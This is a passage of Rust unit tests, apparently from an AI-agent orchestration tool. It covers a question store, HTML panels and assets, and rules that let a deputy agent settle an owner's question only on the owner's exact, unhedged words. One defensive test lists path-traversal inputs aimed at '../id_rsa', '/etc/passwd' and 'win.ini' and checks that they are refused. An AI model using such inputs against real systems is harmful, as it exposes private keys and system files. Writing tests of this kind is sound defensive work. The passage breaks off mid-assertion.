2888 fn the_notification_link_lands_on_the_view_that_can_answer() {
2889 assert_eq!(
2890 question_url("http://100.64.0.1:7777"),
2891 "http://100.64.0.1:7777/#/questions"
2892 );
2893 assert_eq!(
2894 question_url("http://100.64.0.1:7777/"),
2895 "http://100.64.0.1:7777/#/questions"
2896 );
2897 assert_eq!(
2899 question_url("http://magi.ts.net/#/runs"),
2900 "http://magi.ts.net/#/runs"
2901 );
2902 assert_eq!(question_url(" "), "");
2904 }
2905
2906 fn panelled() -> Question {
2908 let mut q = choice_question();
2909 q.id = "20260903-014455-ab12".to_owned();
2910 q
2911 }
2912
2913 #[test]
2914 fn a_panel_round_trips_verbatim_with_its_assets_listed_sorted() {
2915 let (dir, s) = store();
2916 let work = dir.path().join("worktree");
2917 std::fs::create_dir_all(&work).unwrap();
2918 std::fs::write(work.join("diff.svg"), "<svg/>").unwrap();
2919 std::fs::write(work.join("table.png"), b"\x89PNG").unwrap();
2920
2921 let mut q = panelled();
2922 let html = "<h1>Merge?</h1>\n<img src=\"asset/diff.svg\">\n";
2923 s.put_panel(
2924 &mut q,
2925 html,
2926 &[work.join("table.png"), work.join("diff.svg")],
2927 )
2928 .unwrap();
2929 s.put(&mut q).unwrap();
2930
2931 assert!(q.panel);
2932 assert_eq!(
2933 q.assets,
2934 ["diff.svg", "table.png"],
2935 "sorted, not in the order the agent happened to pass them"
2936 );
2937 assert_eq!(
2938 s.panel_html(&q.id).as_deref(),
2939 Some(html),
2940 "the html is stored byte for byte; the agent authored the markup"
2941 );
2942 assert_eq!(
2943 s.panel_asset(&q.id, "diff.svg").unwrap().as_deref(),
2944 Some(&b"<svg/>"[..])
2945 );
2946
2947 let body = std::fs::read_to_string(s.path_of(&q.id)).unwrap();
2949 let json: serde_json::Value = serde_json::from_str(&body).unwrap();
2950 assert_eq!(json["panel"], true);
2951 assert_eq!(json["assets"], serde_json::json!(["diff.svg", "table.png"]));
2952 let back = s.get(&q.id).unwrap();
2953 assert!(back.panel);
2954 assert_eq!(back.assets, q.assets);
2955
2956 std::fs::remove_dir_all(&work).unwrap();
2959 assert_eq!(
2960 s.panel_asset(&q.id, "table.png").unwrap().as_deref(),
2961 Some(&b"\x89PNG"[..]),
2962 "a referenced asset would be gone with the worktree"
2963 );
2964 }
2965
2966 #[test]
2967 fn a_traversal_asset_name_is_refused_before_the_filesystem_is_touched() {
2968 let (dir, s) = store();
2969 let mut q = panelled();
2970 s.put_panel(&mut q, "<p>ok</p>", &[]).unwrap();
2971 s.put(&mut q).unwrap();
2972
2973 let secret = "this must never reach the browser";
2976 std::fs::write(s.root().join("id_rsa"), secret).unwrap();
2977 assert_eq!(
2978 std::fs::read_to_string(s.panel_dir(&q.id).join("../id_rsa")).unwrap(),
2979 secret,
2980 "the traversal is real: the operating system resolves this path \
2981 happily, which is why the name has to be refused before the join"
2982 );
2983
2984 let long = "x".repeat(200);
2985 for name in [
2986 "..",
2987 "../id_rsa",
2988 "..\\id_rsa",
2989 "sub/../id_rsa",
2990 "/",
2991 "\\",
2992 "/etc/passwd",
2993 "C:\\Windows\\win.ini",
2994 "",
2995 ".hidden",
2996 ".",
2997 long.as_str(),
2998 ] {
2999 assert!(!valid_asset_name(name), "`{name}` must fail the pattern");
3000 let e = s.panel_asset(&q.id, name).unwrap_err().to_string();
3001 assert!(
3002 e.contains("not a panel file name"),
3003 "`{name}` must be refused as a name, not attempted: {e}"
3004 );
3005 assert!(!e.contains(secret), "`{name}` reached the filesystem: {e}");
3006 }
3007 assert!(s.panel_asset(&q.id, "index.html").unwrap().is_some());
3010
3011 let hidden = dir.path().join(".hidden");
3014 std::fs::write(&hidden, "x").unwrap();
3015 let e = s
3016 .put_panel(&mut q, "<p>replacement</p>", &[hidden])
3017 .unwrap_err()
3018 .to_string();
3019 assert!(e.contains(".hidden") && e.contains("A-Za-z0-9"), "{e}");
3020 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>ok</p>"));
3021 assert!(q.assets.is_empty());
3022 }
3023
3024 #[test]
3025 fn the_panel_size_cap_refuses_an_oversized_asset_set_and_writes_nothing() {
3026 let (dir, s) = store();
3027 let mut q = panelled();
3028 s.put(&mut q).unwrap();
3029
3030 let big = dir.path().join("recording.png");
3033 std::fs::File::create(&big)
3034 .unwrap()
3035 .set_len(PANEL_MAX_BYTES)
3036 .unwrap();
3037
3038 let html = "<p>see the recording</p>";
3039 let total = PANEL_MAX_BYTES + html.len() as u64;
3040 let e = s.put_panel(&mut q, html, &[big]).unwrap_err().to_string();
3041 assert!(
3042 e.contains(&PANEL_MAX_BYTES.to_string()),
3043 "the cap is named so the agent knows the limit: {e}"
3044 );
3045 assert!(
3046 e.contains(&total.to_string()),
3047 "the actual size is named so the agent knows by how much: {e}"
3048 );
3049
3050 assert!(!q.panel);
3051 assert!(q.assets.is_empty());
3052 let left: Vec<String> = std::fs::read_dir(s.root())
3053 .unwrap()
3054 .map(|e| e.unwrap().file_name().to_string_lossy().into_owned())
3055 .collect();
3056 assert_eq!(
3057 left,
3058 [format!("{}.json", q.id)],
3059 "a refused panel leaves neither a directory nor scratch: {left:?}"
3060 );
3061 }
3062
3063 #[test]
3064 fn two_assets_sharing_a_base_name_are_refused_rather_than_one_hiding_the_other() {
3065 let (dir, s) = store();
3066 let (before, after) = (dir.path().join("before"), dir.path().join("after"));
3067 std::fs::create_dir_all(&before).unwrap();
3068 std::fs::create_dir_all(&after).unwrap();
3069 std::fs::write(before.join("diff.png"), "before").unwrap();
3070 std::fs::write(after.join("diff.png"), "after").unwrap();
3071
3072 let mut q = panelled();
3073 let e = s
3074 .put_panel(
3075 &mut q,
3076 "<p>x</p>",
3077 &[before.join("diff.png"), after.join("diff.png")],
3078 )
3079 .unwrap_err()
3080 .to_string();
3081 assert!(e.contains("diff.png"), "{e}");
3082 assert!(
3083 e.contains("before") && e.contains("after"),
3084 "both sources are named, because the fix is to rename one: {e}"
3085 );
3086 assert!(!q.panel);
3087 assert!(!s.panel_dir(&q.id).exists());
3088 }
3089
3090 #[test]
3091 fn storing_a_panel_twice_replaces_it_rather_than_merging_two_attempts() {
3092 let (dir, s) = store();
3093 std::fs::write(dir.path().join("old.png"), "old").unwrap();
3094 std::fs::write(dir.path().join("new.png"), "new").unwrap();
3095
3096 let mut q = panelled();
3097 s.put_panel(&mut q, "<p>first</p>", &[dir.path().join("old.png")])
3098 .unwrap();
3099 s.put_panel(&mut q, "<p>second</p>", &[dir.path().join("new.png")])
3100 .unwrap();
3101
3102 assert_eq!(q.assets, ["new.png"]);
3103 assert_eq!(s.panel_html(&q.id).as_deref(), Some("<p>second</p>"));
3104 assert!(
3105 s.panel_asset(&q.id, "old.png").unwrap().is_none(),
3106 "an asset from the first attempt would show a mix of two answers"
3107 );
3108
3109 s.drop_panel(&q.id).unwrap();
3110 assert!(s.panel_html(&q.id).is_none());
3111 assert!(!s.panel_dir(&q.id).exists());
3112 s.drop_panel(&q.id)
3113 .expect("dropping a panel that is already gone is the desired state");
3114 }
3115
3116 #[test]
3117 fn a_question_with_no_panel_reports_none_rather_than_an_error() {
3118 let (_dir, s) = store();
3119 let mut q = panelled();
3120 s.put(&mut q).unwrap();
3121
3122 assert!(!q.panel);
3123 assert!(s.panel_html(&q.id).is_none());
3124 assert!(
3125 s.panel_asset(&q.id, "diff.svg").unwrap().is_none(),
3126 "a missing file is a 404 for the caller, not a failure of the store"
3127 );
3128 let json = serde_json::to_value(&q).unwrap();
3129 assert_eq!(json["panel"], false);
3130 assert_eq!(json["assets"], serde_json::json!([]));
3131
3132 let e = s.put_panel(&mut q, " \n", &[]).unwrap_err().to_string();
3135 assert!(e.contains("empty panel"), "{e}");
3136 assert!(!s.panel_dir(&q.id).exists());
3137 }
3138
3139 #[test]
3140 fn a_question_written_before_panels_existed_still_deserialises() {
3141 let (_dir, s) = store();
3142 std::fs::create_dir_all(s.root()).unwrap();
3143 let id = "20260902-231501-ab12";
3144 let body = r#"{
3146 "schema": 1,
3147 "id": "20260902-231501-ab12",
3148 "run": "20260902-201256-9fb7",
3149 "node": "implement",
3150 "seat": "impl-A",
3151 "summary": "Which storage backend should the cache use?",
3152 "detail": "Both are already dependencies.",
3153 "choices": ["SQLite", "Redis"],
3154 "status": "open",
3155 "asked_at": "2026-09-02T23:15:01Z",
3156 "answered_at": null,
3157 "answer": null
3158}"#;
3159 std::fs::write(s.path_of(id), body).unwrap();
3160
3161 let q = s.get(id).unwrap();
3162 assert!(
3163 !q.panel,
3164 "an absent field means no panel, not a parse error"
3165 );
3166 assert!(q.assets.is_empty());
3167 assert_eq!(q.schema, 1);
3172 assert!(q.thread.is_empty());
3173 assert_eq!(
3174 q.answer_timeout, 0,
3175 "an absent field means unrecorded, not a zero-second deadline"
3176 );
3177 assert!(!q.waiting_on_agent());
3178 assert_eq!(q.summary, "Which storage backend should the cache use?");
3179 assert_eq!(
3180 s.list().len(),
3181 1,
3182 "and it is still listed; skipping it would hide an open question"
3183 );
3184 }
3185
3186 fn turn(who: Who, body: &str, at: Timestamp) -> Turn {
3187 Turn {
3188 who,
3189 body: body.to_owned(),
3190 at,
3191 note: None,
3192 }
3193 }
3194
3195 #[test]
3196 fn a_turn_round_trips_as_who_body_at_with_two_named_speakers() {
3197 let mut q = choice_question();
3200 q.thread
3201 .push(turn(Who::Operator, "why not Postgres?", Timestamp::now()));
3202 let value = serde_json::to_value(&q.thread[0]).unwrap();
3203 let mut keys: Vec<&str> = value
3204 .as_object()
3205 .unwrap()
3206 .keys()
3207 .map(String::as_str)
3208 .collect();
3209 keys.sort_unstable();
3210 assert_eq!(keys, ["at", "body", "who"]);
3211 assert_eq!(value["who"], "operator");
3212 assert_eq!(value["body"], "why not Postgres?");
3213
3214 let agent_turn = serde_json::json!({"who": "agent", "body": "hi", "at": value["at"]});
3215 let parsed: Turn = serde_json::from_value(agent_turn).unwrap();
3216 assert_eq!(parsed.who, Who::Agent);
3217 }
3218
3219 fn approval_question() -> Question {
3220 let mut q = Question::new(
3221 "run".into(),
3222 crate::land::APPROVAL_NODE.into(),
3223 "land".into(),
3224 "Merge?".into(),
3225 String::new(),
3226 vec!["merge".into(), "hold".into()],
3227 );
3228 let mut dep = Deputy::new("brief".into());
3229 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3230 q.deputy = Some(dep);
3231 q
3232 }
3233
3234 #[test]
3235 fn deputy_batch_words_never_replace_specific_consent_or_a_recommendation_manifest() {
3236 for choice in [
3237 crate::merge_decision::WITHDRAW,
3238 "reimplement:primary",
3239 "retry",
3240 "discard",
3241 ] {
3242 let mut q = approval_question();
3243 q.choices.push(choice.into());
3244 if matches!(choice, "retry" | "discard") {
3245 q.node = "recovery".into();
3246 }
3247 if choice == "discard" {
3248 q.actions.insert(choice.into(), ChoiceAction::Done);
3249 }
3250 let words = "おっけーそれぞれ回答してー";
3251 q.say(words).unwrap();
3252 let error = q
3253 .settle_by_deputy("deputy-x", choice, words, None)
3254 .unwrap_err()
3255 .to_string();
3256 assert!(
3257 error.contains(if choice == "retry" {
3258 "manifest"
3259 } else {
3260 "individual owner confirmation"
3261 }),
3262 "{choice}: {error}"
3263 );
3264 assert!(q.status.open());
3265 }
3266 }
3267
3268 #[test]
3269 fn merge_decision_deputy_requires_current_head_confirmation_and_exact_stop_tokens() {
3270 for choice in [
3271 crate::land::HOLD,
3272 crate::land::REPAIR,
3273 crate::merge_decision::WITHDRAW,
3274 "reimplement:beta",
3275 ] {
3276 let mut q = approval_question();
3277 q.node = crate::land::APPROVAL_NODE.into();
3278 q.choices = vec!["merge".into(), choice.into()];
3279 q.merge_target = Some(crate::merge_decision::Target {
3280 pr: "PR 42".into(),
3281 head: "abc".into(),
3282 language: "en".into(),
3283 });
3284 q.say(format!("Should we choose {choice}?")).unwrap();
3285 assert!(
3286 q.settle_by_deputy("deputy-x", choice, choice, None)
3287 .is_err()
3288 );
3289 q.say(choice).unwrap();
3290 q.settle_by_deputy("deputy-x", choice, choice, None)
3291 .unwrap();
3292 assert_eq!(q.resolution().as_deref(), Some(choice));
3293 }
3294 let mut q = approval_question();
3295 q.node = crate::land::APPROVAL_NODE.into();
3296 q.choices = vec!["merge".into(), "hold".into()];
3297 q.merge_target = Some(crate::merge_decision::Target {
3298 pr: "PR 42".into(),
3299 head: "new-head".into(),
3300 language: "en".into(),
3301 });
3302 q.say("merge old-head").unwrap();
3303 assert!(
3304 q.settle_by_deputy("deputy-x", "merge", "merge old-head", None)
3305 .is_err()
3306 );
3307 q.say("merge new-head").unwrap();
3308 q.settle_by_deputy("deputy-x", "merge", "merge new-head", None)
3309 .unwrap();
3310 }
3311
3312 #[test]
3313 fn merge_repair_deputy_settle_requires_the_exact_latest_owner_choice() {
3314 let mut q = approval_question();
3315 q.choices.push(crate::land::REPAIR.into());
3316 q.say("maybe fix findings and re-review").unwrap();
3317 assert!(
3318 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3319 .is_err()
3320 );
3321 q.say(crate::land::REPAIR).unwrap();
3322 q.settle_by_deputy("deputy-x", crate::land::REPAIR, crate::land::REPAIR, None)
3323 .unwrap();
3324 assert_eq!(q.resolution().as_deref(), Some(crate::land::REPAIR));
3325 assert_eq!(
3326 crate::land::approval(q.resolution().as_deref()),
3327 crate::land::Approval::Repair
3328 );
3329 }
3330
3331 #[test]
3332 fn a_merge_approval_settles_on_a_verbatim_quote_of_the_latest_message() {
3333 let mut q = approval_question();
3334 q.say("merge").unwrap();
3335 q.reply("sure?", vec!["merge".into(), "hold".into()])
3336 .unwrap();
3337 q.say(" Merge it please ").unwrap();
3338 assert!(
3339 q.settle_by_deputy("deputy-x", "merge", " ", None)
3340 .is_err(),
3341 "an empty quote is refused"
3342 );
3343 assert!(
3344 q.settle_by_deputy("deputy-x", "merge", "ship it", None)
3345 .is_err(),
3346 "a quote the owner never said is refused"
3347 );
3348 assert_eq!(q.status, QuestionStatus::Open);
3349 q.settle_by_deputy("deputy-x", "merge", "Merge it please", None)
3350 .unwrap();
3351 assert_eq!(q.resolution().as_deref(), Some("merge"));
3352 }
3353
3354 #[test]
3355 fn posting_the_original_text_needs_an_unhedged_verbatim_quote() {
3356 use crate::github_text::{POST_ORIGINAL, USE_FALLBACK};
3357 let mk = || {
3358 let mut q = Question::new(
3359 "run".into(),
3360 crate::github_text::ASK_NODE.into(),
3361 crate::github_text::ASK_SEAT.into(),
3362 "s".into(),
3363 String::new(),
3364 vec![USE_FALLBACK.into(), POST_ORIGINAL.into()],
3365 );
3366 let mut dep = Deputy::new("brief".into());
3367 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3368 q.deputy = Some(dep);
3369 q
3370 };
3371 let mut hedged = mk();
3372 hedged.say("Post the original, maybe?").unwrap();
3373 assert!(
3374 hedged
3375 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original", None)
3376 .is_err()
3377 );
3378 let mut clear = mk();
3379 clear.say("Post the original text as it is.").unwrap();
3380 clear
3381 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Post the original text", None)
3382 .unwrap();
3383 assert_eq!(clear.resolution().as_deref(), Some(POST_ORIGINAL));
3384 let mut japanese = mk();
3385 let words = "いいや、まだ説明が足りない。元の説明で投稿してください。";
3386 japanese.say(words).unwrap();
3387 japanese
3388 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3389 .unwrap();
3390 let mut unrelated = mk();
3391 unrelated.say("Proceed with the task").unwrap();
3392 assert!(
3393 unrelated
3394 .settle_by_deputy("deputy-x", POST_ORIGINAL, "Proceed with the task", None)
3395 .is_err()
3396 );
3397 for words in [
3398 "OK, post the original",
3399 "Yes, post original",
3400 "I'd like to post the original",
3401 ] {
3402 let mut natural = mk();
3403 natural.say(words).unwrap();
3404 natural
3405 .settle_by_deputy("deputy-x", POST_ORIGINAL, words, None)
3406 .unwrap();
3407 }
3408 for (message, quote) in [
3409 (
3410 "ログには「元の説明で投稿しました」と記録されています。",
3411 "ログには「元の説明で投稿しました」と記録されています。",
3412 ),
3413 (
3414 "ログには「元の説明で投稿してください」と記録されています。",
3415 "元の説明で投稿してください",
3416 ),
3417 ] {
3418 let mut descriptive = mk();
3419 descriptive.say(message).unwrap();
3420 assert!(
3421 descriptive
3422 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3423 .is_err()
3424 );
3425 assert!(descriptive.status.open());
3426 assert!(descriptive.answer.is_none());
3427 }
3428 let mut descriptive = mk();
3429 let message = "Post original was the option I saw.";
3430 descriptive.say(message).unwrap();
3431 for quote in [message, "Post original"] {
3432 assert!(
3433 descriptive
3434 .settle_by_deputy("deputy-x", POST_ORIGINAL, quote, None)
3435 .is_err()
3436 );
3437 assert!(descriptive.status.open());
3438 assert!(descriptive.answer.is_none());
3439 }
3440 let mut safe = mk();
3442 safe.say("use the fallback").unwrap();
3443 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3444 .unwrap();
3445 }
3446
3447 #[test]
3448 fn posting_deputy_rejects_multiline_quoted_context() {
3449 use crate::github_text::{ASK_NODE, ASK_SEAT, POST_ORIGINAL, USE_FALLBACK, USE_REWRITE};
3450 for (command, choice) in [
3451 ("Post original", POST_ORIGINAL),
3452 ("Use rewrite", USE_REWRITE),
3453 ] {
3454 for message in [
3455 format!("The log contains:\n```\n{command}\n```"),
3456 format!("The log contains:\n\"\n{command}\n\""),
3457 format!("The log says: “Reported. {command}.”"),
3458 format!("The log says: “\n{command}\n”"),
3459 ]
3460 .into_iter()
3461 .chain(crate::github_text::reported_posting_messages(command))
3462 {
3463 let mut q = Question::new(
3464 "run".into(),
3465 ASK_NODE.into(),
3466 ASK_SEAT.into(),
3467 "s".into(),
3468 String::new(),
3469 vec![USE_FALLBACK.into(), choice.into()],
3470 );
3471 let mut dep = Deputy::new("brief".into());
3472 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3473 q.deputy = Some(dep);
3474 q.say(&message).unwrap();
3475 let tmp = tempfile::tempdir().unwrap();
3476 let questions = Questions::at(tmp.path().join("questions"));
3477 questions.put(&mut q).unwrap();
3478 for quote in [command, message.as_str()] {
3479 assert!(
3480 questions
3481 .update(&q.id, |stored| {
3482 stored.settle_by_deputy("deputy-x", choice, quote, None)
3483 })
3484 .is_err()
3485 );
3486 let after = questions.get(&q.id).unwrap();
3487 assert!(after.status.open());
3488 assert!(after.answer.is_none());
3489 }
3490 }
3491 }
3492 }
3493
3494 #[test]
3495 fn posting_the_rewrite_needs_an_unhedged_verbatim_quote() {
3496 use crate::github_text::{USE_FALLBACK, USE_REWRITE};
3497 let mk = || {
3498 let mut q = Question::new(
3499 "run".into(),
3500 crate::github_text::ASK_NODE.into(),
3501 crate::github_text::ASK_SEAT.into(),
3502 "s".into(),
3503 String::new(),
3504 vec![USE_FALLBACK.into(), USE_REWRITE.into()],
3505 );
3506 let mut dep = Deputy::new("brief".into());
3507 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3508 q.deputy = Some(dep);
3509 q
3510 };
3511 let mut hedged = mk();
3512 hedged.say("Use the rewrite, maybe?").unwrap();
3513 assert!(
3514 hedged
3515 .settle_by_deputy("deputy-x", USE_REWRITE, "Use the rewrite", None)
3516 .is_err()
3517 );
3518 let mut descriptive = mk();
3519 let message = "Use rewrite was the option I saw.";
3520 descriptive.say(message).unwrap();
3521 for quote in [message, "Use rewrite"] {
3522 assert!(
3523 descriptive
3524 .settle_by_deputy("deputy-x", USE_REWRITE, quote, None)
3525 .is_err()
3526 );
3527 assert!(descriptive.status.open());
3528 assert!(descriptive.answer.is_none());
3529 }
3530 for words in [
3531 "Use the rewrite text as it is.",
3532 "I'd like to use the rewrite",
3533 "修正版で投稿してください。",
3534 ] {
3535 let mut clear = mk();
3536 clear.say(words).unwrap();
3537 clear
3538 .settle_by_deputy("deputy-x", USE_REWRITE, words, None)
3539 .unwrap();
3540 assert_eq!(clear.resolution().as_deref(), Some(USE_REWRITE));
3541 }
3542 let mut safe = mk();
3544 safe.say("use the fallback").unwrap();
3545 safe.settle_by_deputy("deputy-x", USE_FALLBACK, "use the fallback", None)
3546 .unwrap();
3547 }
3548
3549 #[test]
3550 fn a_local_release_approval_is_held_to_the_merge_rules_but_an_escalation_is_not() {
3551 let mk = |choices: Vec<String>| {
3552 let mut q = Question::new(
3553 String::new(),
3554 crate::bump::NOTICE_NODE.into(),
3555 "release-watch".into(),
3556 "Release?".into(),
3557 String::new(),
3558 choices,
3559 );
3560 let mut dep = Deputy::new("brief".into());
3561 dep.seat = Some(crate::agent::SeatState::new("deputy-x", "alpha", 1));
3562 q.deputy = Some(dep);
3563 q
3564 };
3565 let mut approval = mk(vec!["merge".into(), "hold".into()]);
3566 assert!(crate::deputy::merge_gated(&approval));
3567 approval.say("マージしていいよ").unwrap();
3568 assert!(
3569 approval
3570 .settle_by_deputy("deputy-x", "merge", "ぜひマージして", None)
3571 .is_err(),
3572 "a quote the owner never said is refused"
3573 );
3574 approval
3575 .settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3576 .unwrap();
3577
3578 let mut esc = mk(vec!["rerun again".into(), "hold".into(), "leave it".into()]);
3579 assert!(!crate::deputy::merge_gated(&esc));
3580 esc.say("もう監視はいらない").unwrap();
3581 esc.settle_by_deputy("deputy-x", "leave it", "監視はいらない", None)
3582 .unwrap();
3583 assert_eq!(esc.resolution().as_deref(), Some("leave it"));
3584 }
3585
3586 #[test]
3587 fn a_merge_among_other_requests_settles_but_hold_needs_the_whole_message() {
3588 let mut q = approval_question();
3589 q.say("マージしていいよ。残りのレビュー指摘はフォローアップタスクとして積んで")
3590 .unwrap();
3591 assert!(
3592 q.settle_by_deputy("deputy-x", "merge", "どこかの言葉", None)
3593 .is_err(),
3594 "the quote must be the owner's"
3595 );
3596 assert!(
3597 q.settle_by_deputy("deputy-x", "hold", "マージしていいよ", None)
3598 .is_err(),
3599 "`hold` still needs the whole message"
3600 );
3601 q.settle_by_deputy("deputy-x", "merge", "マージしていいよ", None)
3602 .unwrap();
3603 assert_eq!(q.resolution().as_deref(), Some("merge"));
3604 }
3605
3606 fn settle_ready() -> Question {
3607 let mut q = Question::new(
3608 "task".to_owned(),
3609 "conduct".to_owned(),
3610 "conduct".to_owned(),
3611 "Done?".to_owned(),
3612 String::new(),
3613 vec!["yes".to_owned(), "no".to_owned()],
3614 );
3615 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3616 seat.turns = 1;
3617 let mut dep = Deputy::new("brief".to_owned());
3618 dep.seat = Some(seat);
3619 q.deputy = Some(dep);
3620 q.say("setup done, and file a follow-up").unwrap();
3621 q
3622 }
3623
3624 #[test]
3625 fn a_settle_note_is_stored_on_the_turn_through_update_and_reads_back() {
3626 let dir = tempfile::TempDir::new().unwrap();
3627 let store = Questions::at(dir.path().join("questions"));
3628 let mut q = settle_ready();
3629 let id = q.id.clone();
3630 store.put(&mut q).unwrap();
3631 store
3632 .update(&id, |q| {
3633 q.settle_by_deputy(
3634 "deputy-x",
3635 "yes",
3636 "setup done",
3637 Some(" no follow-up was queued "),
3638 )
3639 })
3640 .unwrap();
3641 let back = store.get(&id).unwrap();
3642 let turn = back.thread.last().unwrap();
3643 assert_eq!(turn.who, Who::Agent);
3644 assert!(turn.body.starts_with("Settled as `yes`"));
3645 assert_eq!(turn.note.as_deref(), Some("no follow-up was queued"));
3646 assert_eq!(back.thread[0].note, None);
3647 }
3648
3649 #[test]
3650 fn an_empty_or_blank_settle_note_is_no_note() {
3651 for note in [None, Some(""), Some(" \n ")] {
3652 let mut q = settle_ready();
3653 q.settle_by_deputy("deputy-x", "yes", "setup done", note)
3654 .unwrap();
3655 assert_eq!(q.thread.last().unwrap().note, None, "{note:?}");
3656 let json = serde_json::to_string(&q).unwrap();
3657 assert!(!json.contains("\"note\""), "no key when there is none");
3658 }
3659 }
3660
3661 #[test]
3662 fn a_refused_settle_leaves_no_note_behind() {
3663 let mut q = settle_ready();
3664 let before = q.thread.clone();
3665 assert!(
3666 q.settle_by_deputy("deputy-x", "yes", "never said this", Some("n"))
3667 .is_err()
3668 );
3669 assert!(
3670 q.settle_by_deputy("someone-else", "yes", "setup done", Some("n"))
3671 .is_err()
3672 );
3673 assert_eq!(q.thread, before);
3674 assert_eq!(q.status, QuestionStatus::Open);
3675 }
3676
3677 #[test]
3678 fn a_turn_written_before_notes_existed_still_reads() {
3679 let t: Turn =
3680 serde_json::from_str(r#"{"who":"agent","body":"old","at":"2026-01-01T00:00:00Z"}"#)
3681 .unwrap();
3682 assert_eq!(t.note, None);
3683 }
3684
3685 #[test]
3686 fn a_quote_from_an_earlier_owner_message_does_not_settle_a_merge() {
3687 let mut q = approval_question();
3688 q.say("merge").unwrap();
3689 q.reply("sure?", vec!["merge".into(), "hold".into()])
3690 .unwrap();
3691 q.say("wait, hold off").unwrap();
3692 assert!(
3693 q.settle_by_deputy("deputy-x", "merge", "merge", None)
3694 .is_err()
3695 );
3696 assert_eq!(q.status, QuestionStatus::Open);
3697 }
3698
3699 #[test]
3700 fn a_deputy_settles_only_on_an_offered_choice_and_the_owners_own_words() {
3701 let mut q = Question::new(
3702 "task".to_owned(),
3703 "conduct".to_owned(),
3704 "conduct".to_owned(),
3705 "Done?".to_owned(),
3706 String::new(),
3707 vec!["yes".to_owned(), "no".to_owned()],
3708 );
3709 let mut seat = crate::agent::SeatState::new("deputy-x", "alpha", 1);
3710 seat.turns = 1;
3711 let mut dep = Deputy::new("brief".to_owned());
3712 dep.seat = Some(seat);
3713 q.deputy = Some(dep);
3714 q.say("setup done, go ahead").unwrap();
3715
3716 assert!(
3717 q.settle_by_deputy("someone-else", "yes", "setup done", None)
3718 .is_err()
3719 );
3720 assert!(
3721 q.settle_by_deputy("deputy-x", "maybe", "setup done", None)
3722 .is_err()
3723 );
3724 assert!(
3725 q.settle_by_deputy("deputy-x", "yes", "never said this", None)
3726 .is_err()
3727 );
3728 assert!(q.settle_by_deputy("deputy-x", "yes", " ", None).is_err());
3729 assert_eq!(q.status, QuestionStatus::Open);
3730
3731 q.settle_by_deputy("deputy-x", "yes", "setup done", None)
3732 .unwrap();
3733 assert_eq!(q.status, QuestionStatus::Answered);
3734 assert_eq!(q.resolution().as_deref(), Some("yes"));
3735 let last = q.thread.last().unwrap();
3736 assert_eq!(last.who, Who::Agent);
3737 assert!(
3738 last.body.contains("setup done"),
3739 "the quote stays on the record"
3740 );
3741 }
3742
3743 #[test]
3744 fn a_question_written_before_deputies_still_reads() {
3745 let mut q = Question::new(
3746 "task".to_owned(),
3747 "conduct".to_owned(),
3748 "conduct".to_owned(),
3749 "Done?".to_owned(),
3750 String::new(),
3751 Vec::new(),
3752 );
3753 q.schema = 4;
3754 let mut v = serde_json::to_value(&q).unwrap();
3755 v.as_object_mut().unwrap().remove("deputy");
3756 let back: Question = serde_json::from_value(v).unwrap();
3757 assert!(back.deputy.is_none());
3758 }
3759
3760 #[test]
3761 fn saying_something_appends_an_operator_turn_without_deciding_anything() {
3762 let mut q = choice_question();
3763 q.say("does the cache need eviction?").unwrap();
3764 assert_eq!(q.thread.len(), 1);
3765 assert_eq!(q.thread[0].who, Who::Operator);
3766 assert_eq!(q.thread[0].body, "does the cache need eviction?");
3767 assert_eq!(q.status, QuestionStatus::Open);
3770 assert!(q.answer.is_none());
3771 assert!(q.waiting_on_agent(), "the ball is now in the agent's court");
3772 }
3773
3774 #[test]
3775 fn saying_and_replying_are_refused_on_a_settled_question_and_on_empty_text() {
3776 let mut answered = choice_question();
3777 answered
3778 .answer(Answer::Choice("SQLite".to_owned()))
3779 .unwrap();
3780 let a = answered.say("still there?").unwrap_err().to_string();
3781 assert!(a.contains("already answered"), "{a}");
3782 let b = answered
3783 .reply("still there?", vec![])
3784 .unwrap_err()
3785 .to_string();
3786 assert!(b.contains("already answered"), "{b}");
3787
3788 let mut abandoned = choice_question();
3789 abandoned.abandon("timed out");
3790 let c = abandoned.say("hello?").unwrap_err().to_string();
3791 assert!(c.contains("abandoned"), "{c}");
3792
3793 let mut open = choice_question();
3794 let d = open.say(" ").unwrap_err().to_string();
3795 assert!(d.contains("empty"), "{d}");
3796 let e = open.reply(" \n", vec![]).unwrap_err().to_string();
3797 assert!(e.contains("empty"), "{e}");
3798 assert!(open.thread.is_empty(), "a refused turn leaves no trace");
3799 }
3800
3801 #[test]
3802 fn a_reply_replaces_the_choices_and_moves_the_ball_back_to_the_owner() {
3803 let mut q = choice_question();
3804 q.say("SQLite or Redis, but what about disk space?")
3805 .unwrap();
3806 assert!(q.waiting_on_agent());
3807
3808 q.reply(
3809 "SQLite: it is one file, no server to run.",
3810 vec!["SQLite".to_owned()],
3811 )
3812 .unwrap();
3813
3814 assert_eq!(q.choices, ["SQLite"]);
3815 assert!(
3816 !q.waiting_on_agent(),
3817 "the agent spoke, so the owner is the one being waited on now"
3818 );
3819 assert_eq!(q.thread.len(), 2);
3820 assert_eq!(q.thread[1].who, Who::Agent);
3821
3822 assert!(q.answer(Answer::Choice("Redis".to_owned())).is_err());
3824 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3825 assert_eq!(q.resolution().as_deref(), Some("SQLite"));
3826 }
3827
3828 #[test]
3829 fn notification_fires_for_the_first_ask_and_only_after_the_quiet_window_on_a_reply() {
3830 let mut fresh = choice_question();
3831 assert!(
3832 fresh.should_notify(Timestamp::now()),
3833 "nobody has been notified yet, so the first ask always pages"
3834 );
3835
3836 fresh.say("why not Postgres?").unwrap();
3837 let just_said = fresh.thread[0].at;
3838 assert!(
3839 !fresh.should_notify(just_said + jiff::SignedDuration::from_secs(60)),
3840 "still on the screen a minute later; no need to page again"
3841 );
3842 assert!(
